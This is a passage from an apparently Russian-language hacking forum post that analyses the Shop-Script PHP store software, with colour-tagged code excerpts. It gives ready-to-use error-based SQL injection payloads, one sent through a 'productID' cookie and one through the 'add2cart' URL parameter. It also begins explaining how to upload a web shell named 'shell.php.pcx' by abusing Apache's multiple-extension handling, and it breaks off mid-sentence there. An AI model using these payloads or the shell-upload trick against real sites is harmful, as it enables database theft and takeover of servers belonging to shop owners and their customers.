И, проанализировав логику работы этого псевдофильтра, можно понять что передать переменную методом GET и POST не получится никак.
НО! Разработчик забыл про куки! То есть создав куку с именем "productID" при register_global=on мы сможем создать глобальную переменную "$productID", которая в свою очередь попадет в запрос:
[/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT categoryID FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE productID='[/COLOR][COLOR="#0000BB"]$productID[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#0000BB"]db_error[/COLOR][COLOR="#007700"]());
if ([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$categoryID[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
}
...
[/COLOR][/COLOR]
Правда для успешной эксплуатации нам потребуется magic_quotes=off. И к сожалению прямого вывода получить не удасться так как данная переменная попадает еще в несколько sql запросов дальше, и везде скрипт отрубается при возникновении ошибки в запросе. Так что тут юзать только метод вывода данных в тексте ошибок.
Эксплойт:
Код:
http://shop-script/index.php
COOKIE: productID=1' and (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
if ([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"aux"[/COLOR][COLOR="#007700"])&&[/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./cfg/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]])){
if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]]){
...
[/COLOR][COLOR="#0000BB"]$s_search[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT count(*) FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE Enabled=1 and categoryID<>0 and "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]//Здесь первое(!) слово из поисковой строки попадает в запрос
[/COLOR][COLOR="#0000BB"]$s_search[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"((name LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%' OR description LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%' OR brief_description LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%') "[/COLOR][COLOR="#007700"];
for ([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"select in_stock from "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" where productID='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"add2cart"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#0000BB"]db_error[/COLOR][COLOR="#007700"]());
...
}
...
}
[/COLOR][/COLOR]
Тут все банально. Переменная не проходит фильтрацию и попадает в запрос.
Эксплойт:
Код:
http://shop-script/index.php?shopping_cart=1&add2cart=1'or (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
Фактически файл проходит таки проверку на расширения. Но все наверное знают об обработке апачем множественных расширений. То есть апач обрабатывает с конца имени файла все расширения пока не найдет известное.
На основе этого мы просто загружаем наш шелл с именем "shell.php.pcx". Он будет находится по адресу: